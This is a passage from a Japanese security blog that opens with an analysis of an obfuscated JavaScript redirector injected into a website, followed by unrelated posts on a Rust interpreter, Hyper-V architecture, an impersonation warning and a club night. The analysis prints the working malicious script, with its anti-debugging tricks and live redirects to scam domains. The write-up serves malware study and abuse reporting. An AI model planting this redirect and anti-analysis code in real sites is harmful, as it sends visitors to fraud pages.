_0x46c781=_0x533f,_0x15cce8=_0x41712b[_0x46c781('0x12')](_0x46c781('0x11'))()[_0x46c781('0x12')](_0x46c781('0x22'));return!_0x15cce8[_0x46c781('0x25')](_0x3a20b0);};return _0x41712b();});_0x3a20b0();var _0x48658e=function(){var _0x3ad38d=!![];return function(_0x5204af,_0x23ef45){var _0x417eae=_0x3ad38d?function(){var _0x134c07=_0x533f;if(_0x23ef45){var _0x2feac4=_0x23ef45[_0x134c07('0x2d')](_0x5204af,arguments);return _0x23ef45=null,_0x2feac4;}}:function(){};return _0x3ad38d=![],_0x417eae;};}();(function(){_0x48658e(this,function(){var _0x4d943f=_0x533f,_0x3d8160=new RegExp('function\x20*\x5c(\x20*\x5c)'),_0x2e2cd9=new RegExp(_0x4d943f('0xf'),'i'),_0x54e22d=_0x97b9b6(_0x4d943f('0x0'));!_0x3d8160[_0x4d943f('0x25')](_0x54e22d+_0x4d943f('0x29'))||!_0x2e2cd9[_0x4d943f('0x25')](_0x54e22d+_0x4d943f('0x18'))?_0x54e22d('0'):_0x97b9b6();})();}());var _0x1595bd=function(){var _0x583c9d=!![];return function(_0x200841,_0x35abba){var _0x2c7e75=_0x583c9d?function(){var _0x141d51=_0x533f;if(_0x35abba){var _0x3b3e39=_0x35abba[_0x141d51('0x2d')](_0x200841,arguments);return _0x35abba=null,_0x3b3e39;}}:function(){};return _0x583c9d=![],_0x2c7e75;};}(),_0x572efc=_0x1595bd(this,function(){var _0x1a126a=_0x533f,_0x3172f1;try{var _0x23762c=Function(_0x1a126a('0x21')+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x3172f1=_0x23762c();}catch(_0x564021){_0x3172f1=window;}var _0x52dac9=_0x3172f1[_0x1a126a('0x24')]=_0x3172f1[_0x1a126a('0x24')]||{},_0x3b4f75=[_0x1a126a('0x1d'),_0x1a126a('0x9'),_0x1a126a('0x27'),_0x1a126a('0x10'),_0x1a126a('0x2a'),_0x1a126a('0x2c'),_0x1a126a('0x2b')];for(var _0xd54340=0x0;_0xd54340<_0x3b4f75[_0x1a126a('0x14')];_0xd54340++){var _0x26af81=_0x1595bd[_0x1a126a('0x12')][_0x1a126a('0x19')][_0x1a126a('0xa')](_0x1595bd),_0x206cec=_0x3b4f75[_0xd54340],_0x543e51=_0x52dac9[_0x206cec]||_0x26af81;_0x26af81[_0x1a126a('0x1a')]=_0x1595bd[_0x1a126a('0xa')](_0x1595bd),_0x26af81[_0x1a126a('0x28')]=_0x543e51[_0x1a126a('0x28')][_0x1a126a('0xa')](_0x543e51),_0x52dac9[_0x206cec]=_0x26af81;}});_0x572efc();class _0x106069{static['com2'](){var _0x40f03c=_0x533f,_0x1c6a09=document[_0x40f03c('0x7')][_0x40f03c('0x20')]('\x20-\x20'),_0x3fdf81=_0x1c6a09[0x0][_0x40f03c('0x20')](_0x40f03c('0xb'));function _0x405c95(_0x2029e2,_0x540834,_0x3dccd5,_0x89ce19,_0x631308,_0x449b7d){var _0x3bb735=_0x40f03c;if(!_0x2029e2||!_0x540834)return![];var _0x3f2886=_0x2029e2+'='+encodeURIComponent(_0x540834);if(_0x3dccd5)_0x3f2886+=_0x3bb735('0x13')+_0x3dccd5[_0x3bb735('0x1e')]();if(_0x89ce19)_0x3f2886+=_0x3bb735('0x1')+_0x89ce19;if(_0x631308)_0x3f2886+=_0x3bb735('0x6')+_0x631308;if(_0x449b7d)_0x3f2886+=_0x3bb735('0x3');return document['cookie']=_0x3f2886,!![];}function _0x9a3d3a(_0x154333){var _0x45158d=_0x40f03c,_0x45a09c=_0x45158d('0x15')+_0x154333+'=([^;]*);?',_0x5b19fb=new RegExp(_0x45a09c);if(_0x5b19fb[_0x45158d('0x25')](document[_0x45158d('0x1b')]))return decodeURIComponent(RegExp['$1']);return![];}function _0x522d70(_0xa94789,_0x216601,_0x5dac6c){return _0x405c95(_0xa94789,null,new Date(0x0),_0x216601,_0x5dac6c),!![];}var _0x27c7bf={};_0x27c7bf[_0x40f03c('0xe')]=[[/google\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.yahoo\./i,/(\?|&)p=(.*?)(&|$)/i,0x2],[/bing\.com/i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.aol\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/ask\.com/i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/altavista\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.lycos\./i,/(\?|&)query=(.*?)(&|$)/i,0x2],[/alltheweb\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/yandex\./i,/(\?|&)text=(.*?)(&|$)/i,0x2],[/(nova\.|search\.)?rambler\./i,/(\?|&)query=(.*?)(&|$)/i,0x2],[/gogo\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/go\.mail\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/nigma\./i,/(\?|&)s=(.*?)(&|$)/i,0x2]],_0x27c7bf[_0x40f03c('0x26')]=function(_0x1455a3){var _0x487237=_0x40f03c,_0x4fb038=null;for(var _0xb7599e=0x0;_0xb7599e<_0x27c7bf[_0x487237('0xe')][_0x487237('0x14')];_0xb7599e++){var _0x24d47b=_0x27c7bf[_0x487237('0xe')][_0xb7599e];if(_0x1455a3['match'](_0x24d47b[0x0])||_0x9a3d3a('opos')=='1'){_0x405c95(_0x487237('0x17'),'1'),document[_0x487237('0x4')][_0x487237('0x16')]=_0x487237('0x23');break;}}},_0x27c7bf[_0x40f03c('0x26')](document[_0x40f03c('0xd')]);}}_0x106069[_0x1a9a42('0x2e')]();function _0x97b9b6(_0x40f01a){function _0x3b6238(_0x2cc325){var _0xa56e17=_0x533f;if(typeof _0x2cc325===_0xa56e17('0x2'))return function(_0x2626d7){}['constructor'](_0xa56e17('0x5'))[_0xa56e17('0x2d')](_0xa56e17('0x1f'));else(''+_0x2cc325/_0x2cc325)[_0xa56e17('0x14')]!==0x1||_0x2cc325%0x14===0x0?function(){return!![];}[_0xa56e17('0x12')](_0xa56e17('0x1c')+_0xa56e17('0x8'))[_0xa56e17('0x2f')]('action'):function(){return![];}[_0xa56e17('0x12')](_0xa56e17('0x1c')+_0xa56e17('0x8'))[_0xa56e17('0x2d')](_0xa56e17('0xc'));_0x3b6238(++_0x2cc325);}try{if(_0x40f01a)return _0x3b6238;else _0x3b6238(0x0);}catch(_0x1b90ec){}}

これでは流石に読めないので、難読化をちょっと解除してみた。

'use strict';
var _createClass = function () {
    function defineProperties(target, props) {
        var i = 0;
        for (; i < props.length; i++) {
            var descriptor = props[i];
            descriptor.enumerable = descriptor.enumerable || false;
            descriptor.configurable = true;
            if ("value" in descriptor) {
                descriptor.writable = true;
            }
            Object.defineProperty(target, descriptor.key, descriptor);
        }
    }
    return function (Constructor, protoProps, staticProps) {
        if (protoProps) {
            defineProperties(Constructor.prototype, protoProps);
        }
        if (staticProps) {
            defineProperties(Constructor, staticProps);
        }
        return Constructor;
    };
}();
function _classCallCheck(instance, Constructor) {
    if (!(instance instanceof Constructor)) {
        throw new TypeError("Cannot call a class as a function");
    }
}
var _0x2bd6 = ["while (true) {}", "; domain=", "title", "gger", "warn", "bind", " | ", "stateObject", "referrer", "searchers", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "error", 'return /" + this + "/', "constructor", "; expires=", "length", "(?:; )?", "href", "opos", "input", "prototype", "__proto__", "cookie", "debu", "log", "toGMTString", "counter", "split", "return (function() ", "^([^ ]+( +[^ ]+)+)+[^ ]}", "https://td.14-8000.ru/trds", "console", "test", "sp_redirect", "info", "toString", "chain",
    "exception", "trace", "table", "apply", "com2", "call", "init", "; path=", "string", "; secure", "location"];
(function (data, opts) {
    var uri = function fn(selected_image) {
        for (; --selected_image;) {
            data["push"](data["shift"]());
        }
    };
    var gotoNewOfflinePage = function next() {
        var Cookies = {
            "data": {
                "key": "cookie",
                "value": "timeout"
            },
            "setCookie": function render(list, text, value, header) {
                header = header || {};
                var cookie = text + "=" + value;
                var _0xa1a7e5 = 0;
                var i = 0;
                var key = list["length"];
                for (; i < key; i++) {
                    var domain = list[i];
                    cookie = cookie + ("; " + domain);
                    var value = list[domain];
                    list["push"](value);
                    key = list["length"];
                    if (value !== !![]) {
                        cookie = cookie + ("=" + value);
                    }
                }
                header["cookie"] = cookie;
            },
            "removeCookie": function done() {
                return "dev";
            },
            "getCookie": function get(match, data) {
                match = match || function (letter) {
                    return letter;
                };
                var v = match(new RegExp("(?:^|; )" + data["replace"](/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)"));
                var trim = function direct(subquest, maxRedirects) {
                    subquest(++maxRedirects);
                };
                return trim(uri, opts), v ? decodeURIComponent(v[1]) : undefined;
            }
        };
        var updatedReverseItemControlData = function get() {
            var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
            return test["test"](Cookies["removeCookie"]["toString"]());
        };
        Cookies["updateCookie"] = updatedReverseItemControlData;
        var array = "";
        var _0x55b47e = Cookies["updateCookie"]();
        if (!_0x55b47e) {
            Cookies["setCookie"](["*"], "counter", 1);
        } else {
            if (_0x55b47e) {
                array = Cookies["getCookie"](null, "counter");
            } else {
                Cookies["removeCookie"]();
            }
        }
    };
    gotoNewOfflinePage();
})(_0x2bd6, 187);
var _0x533f = function PocketDropEvent(ballNumber, opt_target) {
    ballNumber = ballNumber - 0;
    var ball = _0x2bd6[ballNumber];
    return ball;
};
var _0x1a9a42 = _0x533f;
var _0xa1a7e5 = function () {
    var y$$ = !![];
    return function (scope, f) {
        var voronoi = y$$ ? function () {
            if (f) {
                var returnVal = f["apply"](scope, arguments);
                return f = null, returnVal;
            }
        } : function () {
        };
        return y$$ = ![], voronoi;
    };
}();
var _0x3a20b0 = _0xa1a7e5(undefined, function () {
    var gotoNewOfflinePage = function config() {
        var B713 = config["constructor"]("return /" + this + "/")()["constructor"]("^([^ ]+( +[^ ]+)+)+[^ ]}");
        return !B713["test"](_0x3a20b0);
    };
    return gotoNewOfflinePage();
});
_0x3a20b0();
var _0x48658e = function () {
    var y$$ = !![];
    return function (scope, f) {
        var voronoi = y$$ ? function () {
            if (f) {
                var returnVal = f["apply"](scope, arguments);
                return f = null, returnVal;
            }
        } : function () {
        };
        return y$$ = ![], voronoi;
    };
}();
(function () {
    _0x48658e(this, function () {
        var par = new RegExp("function *\\( *\\)");
        var test = new RegExp("++ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "i");
        var result = _0x97b9b6("init");
        if (!par["test"](result + "chain") || !test["test"](result + "input")) {
            result("0");
        } else {
            _0x97b9b6();
        }
    })();
})();
var _0x1595bd = function () {
    var y$$ = !![];
    return function (scope, f) {
        var voronoi = y$$ ? function () {
            if (f) {
                var returnVal = f["apply"](scope, arguments);
                return f = null, returnVal;
            }
        } : function () {
        };
        return y$$ = ![], voronoi;
    };
}();
var _0x572efc = _0x1595bd(undefined, function () {
    var global;
    try {
        var evaluate = Function("return (function() " + '{}.constructor("return this")( )' + ");");
        global = evaluate();
    } catch (_0x564021) {
        global = window;
    }
    var db = global["console"] = global["console"] || {};
    var methods = ["log", "warn", "info", "error", "exception", "table", "trace"];
    var i = 0;
    for (; i < methods["length"]; i++) {
        var data = _0x1595bd["constructor"]["constructor"]["bind"](_0x1595bd);
        var name = methods[i];
        var value = db[name] || data;
        data["__proto__"] = _0x1595bd["bind"](_0x1595bd);
        data["toString"] = value["toString"]["bind"](value);
        db[name] = data;
    }
});
_0x572efc();
var _0x106069 = function () {
    function SearchWorkerLoader() {
        _classCallCheck(this, SearchWorkerLoader);
    }
    _createClass(SearchWorkerLoader, null, [{
        key: "com2",
        value: function header() {
            function notify(name, file, timeout, type, stack, tag) {
                if (!name || !file) {
                    return ![];
                }
                var msg = name + "=" + encodeURIComponent(file);
                if (timeout) {
                    msg = msg + ("; expires=" + timeout["toGMTString"]());
                }
                if (type) {
                    msg = msg + ("; path=" + type);
                }
                if (stack) {
                    msg = msg + ("; domain=" + stack);
                }
                if (tag) {
                    msg = msg + "; secure";
                }
                return document["cookie"] = msg, !![];
            }
            function validate(key) {
                var word = "(?:; )?" + key + "=([^;]*);?";
                var test = new RegExp(word);
                if (test["test"](document["cookie"])) {
                    return decodeURIComponent(RegExp["$1"]);
                }
                return ![];
            }
            var names = {};
            names["searchers"] = [[/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i,
                /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]];
            names["sp_redirect"] = function (mAttributes) {
                var i = 0;
                for (; i < names["searchers"]["length"]; i++) {
                    var allow = names["searchers"][i];
                    if (mAttributes["match"](allow[0]) || validate("opos") == "1") {
                        notify("opos", "1");
                        document["location"]["href"] = "https://td.14-8000.ru/trds";
                        break;
                    }
                }
            };
            names["sp_redirect"](document["referrer"]);
        }
    }]);
    return SearchWorkerLoader;
}();
_0x106069["com2"]();
function _0x97b9b6(event) {
    function next(i) {
        if (typeof i === "string") {
            return function (canCreateDiscussions) {
            }["constructor"]("while (true) { }")["apply"]("counter");
        } else {
            if (("" + i / i)["length"] !== 1 || i % 20 === 0) {
                (function () {
                    return !![];
                })["constructor"](";;;;" + ";;;;")["call"]("action");
            } else {
                (function () {
                    return ![];
                })["constructor"](";;;;" + ";;;;")["apply"]("stateObject");
            }
        }
        next(++i);
    }
    try {
        if (event) {
            return next;
        } else {
            next(0);
        }
    } catch (_0x1b90ec) {
    }
}
;

このファイルはDebug検知で解析を妨害する。
難読化解除のときは動的解析するとかなりわかりやすくなるのでまずはそれを解除した。
と言っても全然わからなかったので、適当にあたりをつけた。
どうやらdebugger が配列 _0x2bd6 のなかに入っていて、その文字列が結合されて実行されることがわかった。(debugger命令ですね) それを ;;;;;;;;に書き換え回避。動的解析環境が整った。

このJSファイルの基本的な難読化手法は以下の通りである。

  1. 無駄な変数定義
  2. 無駄な関数定義
  3. 無名関数化してスコープを縮める
  4. わかりにくい記法への変換
  5. 関数や変数名がランダム化
  6. 配列 _0x2bd6を起点とする文字列結合を使用しコードを複雑に

ひとまず6個目をconsoleにせっせと打ち込み解除。 ほかは頑張ってコードを読んでやった。 頑張って難読化を解除しつつ読みすすめると大まかに以下のような動作を行うJSとわかった。

クッキーoposの値が1であるか、指定された検索エンジンからのアクセスである場合、https://td.14-8000[.]ru/trds へとリダイレクトする。

クッキーとリファラ確認はおそらく解析者対策だろう。

リダイレクト先

次に、リダイレクト先https://td.14-8000[.]ru/trds を確認。
先ほどと打って変わって、なんて単純なんだ……
詐欺ページへGO!

<!doctype html>
<html>
<head>
    <script>function onload() {window.location.href='https://prize.wolcens.ru/?u=dmzpte4&o=v4l84xw&cid=trds|'}</script>
</head>
<body onload='onload()'></body>
</html>

詐欺ページ

い つ も の

f:id:morimolymoly:20201110211856p:plain
あほばかまぬけ

ちなみにhttps://prize.wolcens[.]ru/はCloudFlareで守られているそうな(このワタクシからCS:GOのナイフを奪い取ったフィリピンNO1野郎もそういえばCloudFlareで守られていたな)
とりあえず詐欺ページのドメインレジストラにabuse reportしておきました。

おわりに

今回は非常につまらないWEBサイトを調査しました。
運良く見つけたらマルバタイジングされたサイトとかやるかも。

IOCs

参考

Writing An Interpreter In GoをRustでやった

おひさしぶりです、morimolymolyです。

Writing An Interpreter In GoをRustでやりました。
github.com

もともとはRustのチュートリアルであるところのTRPLをこなしたあとに、そこそこ量のあるコードを書きたくなったのでなにか探していたところ、インタプリタを書いてみるのも悪くないなあと思って書いてみました。
doc.rust-lang.org

最初は、Rustというか関数型言語っぽいやりかたがみにつかず、Anyトレイト連発❗みたいなクソコードを量産しましたが、時期にやり方を覚えいい感じにこーどがかけるようになりました。
ちなみにGolangの実装のままにAnyトレイト連発のクソコードは以下のブランチからみることができます。
github.com

Pratt Parserを書く部分とかも楽しかったし、おまけのマクロの実装も楽しかった。
コードを書いていくと次第に理解が深まり、本を読まずとも、機能の追加方法が思いつく瞬間があり、とても気持ちのいい体験でした。

これからは続きのWriting a Compilier in GoをRustでやってみようかなあ、と思っています。
まだrmonkeyも汚いコードを残しているので整理はしたいと思っていますが……。
なんせ休学して暇な身なのでメンタルさえ安定していれば無限にコードが書けるのでね。

今、いろいろと面白いことを考えてやっている最中なので、時期にコンパイラインタプリタ以外のおもしろいこともここで発表できたらいいなあと思っています。
まずはメンタルを安定させてお休みするところから始めていきます。

それでは短いですが、次回の機会で。

ゼロから始めるHyper-Vのアーキテクチャ

はじめに

こんにちは,morimolymolyです.
皆さん,Hyper-V脆弱性報酬プログラムはごぞんじですか?
https://www.microsoft.com/en-us/msrc/bounty-hyper-v

なんとHyper-VのRCE(Remote Code Execution)を発見するだけで$250,000も貰えてしまうのです!!
最近では360 Core Securityの研究者がVMEscapeの脆弱性をみつけて$200,000をゲットしています.

$250,000も貰えたら働かずに毎日ごろごろしていても数年は余裕で持ちますね.
というわけでHyper-V脆弱性を発見する前に,これのアーキテクチャを学ぼうというわけです.

Hypervisor概要

ハイパーバイザにはType-1(Baremetal)とType-2(Host)の2種類あります.
Type-1はハイパーバイザがハードウェア上で直接動作します.
例: XenKVM,BitVisor,Bareflank
Type-2はホストOS上のプロセスとして動作するハイパーバイザです.
例: VirtualBoxVMWareQEMUBochs

Hyper-VはType-1ハイパーバイザにあたります.

Hyper-Vアーキテクチャ概要

f:id:morimolymoly:20190125210041p:plain
上図がHyper-Vアーキテクチャです.
Hyper-VはAttack Surfaceをなるべくへらすために,コード量を最小限にするという設計理念があります.
そのためデバイス仮想化などの機能はHyper-Vには実装していません.
Hyper-VがインストールされたホストOSがデバイス仮想化などのあらゆるサービスを担当します.
そのおかげでHyper-VはホストOSに実装されているデバイスドライバをそのまま利用できます.

Hyper-VにはPartitionという単位でVMが存在します.
Hyper-VがインストールされたホストOSをRoot Partitionと呼び,これは仮想マシンの管理,ゲストのメモリの操作,デバイスエミュレーションサービスの提供,実デバイス操作を行います.
XenでいうとDom0(特権ドメイン)です.

ゲストマシンはPartitionと呼びます.
ゲストマシンは別のPartitionの物理メモリにアクセスできませんし,ハードウェアの直接アクセスができません.
すべてはRoot Partitionと通信してデバイスの操作などを行ってもらいます.
またこの通信は厳格に定義されたインターフェースを通じてのみ行なえます.

このアーキテクチャから分かる通り,セキュリティ野郎が注目するべきはRoot Partitionです.
詳しくは以下の記事を参照.
docs.microsoft.com

Hyper-Vのメモリ

Hyper-Vのメモリは以下のように定義されます.

  • PA(Physical Address) 物理メモリ空間
  • SPA(System Physical Address) RootPartitionの物理メモリ空間
  • SVA(System Virtual Address) RootPartitionの仮想メモリ空間
  • GPA(Guest Physical Address) ゲストの物理メモリ空間
  • GVA(Guest Virtual Address) ゲストの仮想メモリ空間

SPA,SVAは他のハイパーバイザだとHPA(Host Physical Address),HVA(Host Virtual Address)と呼ばれることが多い気がします*1

Root Partitionの役割

f:id:morimolymoly:20190125213147p:plain
上図はRoot Partitionで提供されるサービスの例です.
以下に用語を説明します.

  • VDEV(Virtual Device) Rootのユーザ空間で動くエミュレートまたは準仮想化されたデバイス
  • VSP(Virtualization Service Provider) Rootのカーネル空間でVDEVと協調して動く準仮想化されたデバイス
  • IC(Integration Component) ゲストがアクセスできるRootのユーザ空間で動くコンポーネント

また次のようなサービスが提供されています.

f:id:morimolymoly:20190125220823p:plain

このようにRootPartitionのユーザ空間でホストされるサービスもあれば,RootPartitionのカーネル空間でホストされるサービスもあります.

ゲストのデバイス操作の流れ

f:id:morimolymoly:20190125214731p:plain
上図はゲストがデバイスを操作するときの概要図です.
流れは以下のとおりです.

  1. ゲスト内のVSC(Virtualization Service Client)がvmbusを通じてRoot Partition内のVSPに操作を依頼
  2. VSPがホストOSのデバイスドライバに操作を依頼
  3. デバイスドライバがデバイスを操作

でばストレージ操作のVSPをみてみましょう.
f:id:morimolymoly:20190125221027p:plain


ユーザ空間のVSPも見てみましょう.
f:id:morimolymoly:20190125213849p:plain
VMWPとはVirtual Machine Worker Processの略で仮想マシンごとに用意されるVSPを提供するためのユーザ空間のプロセスです.
この例ではユーザ空間にSMBのサービスであるVSMBを動作させています.

Hyper-VLinuxでの実装

当然このような仮想化支援技術はゲストカーネルに実装されていなければなりません.
Linuxでは以下のようなディレクトリにコードがあるようです.
f:id:morimolymoly:20190125222048p:plain

実際にヘッダファイルを眺めてみるとなかなか面白いです.
github.com

おわりに

簡単でしたが,以上がHyper-Vの基本的なアーキテクチャになります.

予告

次回はHyper-Vリバースエンジニアリング環境を構築します.
また既知の脆弱性についても解説したいと思います*2

*1:ほんま統一してくれ

*2:クローズドソースなので当時のバイナリをビルドして実験できないから解説する意味があるのかわからんが

メールアドレスが不正使用されてしまいました

こんにちは,morimolymolyです.

2019/01/11の午前2時から3時にかけて私のメールアドレスを使い,私を騙るものが5ちゃんねるや爆サイ,その他掲示板に書き込みをしていたようです.現在,その書き込みを見た方からたくさんメールが届いて迷惑しています.

私はtwitter(@morimolymoly),XMPP(moly420[at]exploit.im),slack(HyperVillage,seccamp,MMA,バイト先)以外でmorimolymolyというスクリーンネームは使用していません.また上記アカウント以外から能動的にコンタクトを取ることはありません.

もし,今後私を騙るようなものがコンタクトをしてきても無視をしてください.
所属している界隈故,マルウェアなどを用いたサイバー攻撃に発展していく恐れもあります.
くれぐれも私を騙るものからのメッセージに記載されたURLなどは決して踏まないように気をつけてください.

以下,私を騙る書き込みのスクリーンショットを公開し,この記事を終わります.

f:id:morimolymoly:20190112125221p:plain
f:id:morimolymoly:20190112125217p:plain
f:id:morimolymoly:20190112125211j:plain
f:id:morimolymoly:20190112125204j:plain
f:id:morimolymoly:20190112125201j:plain

f:id:morimolymoly:20190112125157j:plain
犯人の生IPです

f:id:morimolymoly:20190112130015p:plain
2019/01/12 13:00追加

whywaitaさんと秋葉原のクラブで3年ぶりに再開したんだがwwwww => whywaitaというオタクの実態とは?

この記事は,whywaita Advent Calendar 2018 - Adventarの11日目の記事です.
前日はid:nersonu さんの
11/29はwhywaitaさんの誕生日でしたが、11/28はえのぐのメジャーデビューシングル発売日でした - そぬばこ
でした.

はじめましての方が多いと思います.
3年間MMAの幽霊部員をやっていて現在進行中だけどわりと関わり始めている,ゲキカワねこみみメイドこと,morimolymolyです.
普段はhypervisorとか情報セキュリティとかをやっています.

Why 秋葉原のクラブ?

さて,皆さんはクラブには行きますか?
調布祭アニクラ*1が開催されたり,アイカツごちうさなどアニメ公式のクラブイベントが開かれたりとオタク界隈でもクラブは一般化しつつありますね.一方のクラブカルチャー側もナードな流れが強まっていて,ナードカルチャーに明るいDJやトラックメイカ*2が増えたなあと思います.

僕はもともとクラブカルチャーもナードカルチャーも好きで,それが融合したアニソンリミックスの独特なアングラ感に魅了されて,ここ1年は毎月のようになにかのイベントに足を運んでいます.そんなある日,秋葉原はmograで,アニメニア トウキョウ - MOGRA 秋葉原なるビッグパーティが開催されることになり,同じ研究室でMMA部員のオタクを誘って遊びに行くことにしました.待ちに待った当日,ラボメンのオタクからwhywaitaというオタクも来るという一報を受けました.

「金払ってないサークルの先輩のオタクじゃん」と冷や汗をかきながらTwitter上で「対戦よろしくおねがいします」とリプライを送りつけてからパーティまで煙を吸ったり吐いたり,鳥を食べたりして時間を潰していました.オープン1時間前になると,ラボメンのオタクとwhywaitaさんからラーメン二郎を食べてからくるという驚きの連絡を受け,恐怖を感じながら先にクラブに入って待っていると,オープンから40分ほど遅れてオタクたちがやってきました.

フロアからラウンジへの階段をのぼると,「オッ,やってますか〜?」とごきげんなちっこいラボメンと3年前にみたきりすごい噂だけはtwitterで流れてくるおおきなオタクが酒を飲んでいました.アルコールを入れていなかったのでイエガーをシュッと購入してグイッと飲んでからオタクたちに向き合うと,その瞬間,whywaitaとの対戦が始まったのですーー.

「オッ,3年ぶりに見た顔だね」
「アッ,3年間部費払っていません……」

と先制攻撃を受けた僕は為す術なく部費を払うことを約束しました.
とはいえ攻撃というのは冗談で,まあ直近のぶんを払えばよいだろうと寛大な心でもって“赦し”を得ました.(実はシステム上過去にさかのぼって支払わなければならないことを後輩にきかされるのですが,それはまた別のおはなし)

対戦をひとまず終え,フロアに行くとばちばちに温まっていて会話どころではなく,最前付近で踊り続けました.
何してたかは記憶が薄くなってほとんど思い出せないんですが,演者が強くてよかったですね.
クラブミュージックを聴くキッカケとなったTeddyloidさんとか特に激アツでしたね.

結論

whywaitaというオタクは寛容で信頼できるオタク.
あとほぼ最前で踊っていて体力がすごいオタク.
あとあとパーティ前にラーメン二郎を食す,胃袋のデカさ,すごいオタク.

アニクラのすすめ

いろいろなパーティが溢れていますが,オタクでクラブ童貞/処女は秋葉原mograにいきましょう.
ナンパ皆無で治安がいい箱です.
パーティも大体良いものばかりです.
まずは行って酒を飲んで,音楽を聴いて揺れろ.
いつでもお誘いまってるので,Twitterフォローしてくれよな.

*1:主にアニソンが流れるクラブイベント

*2:曲をつくるひと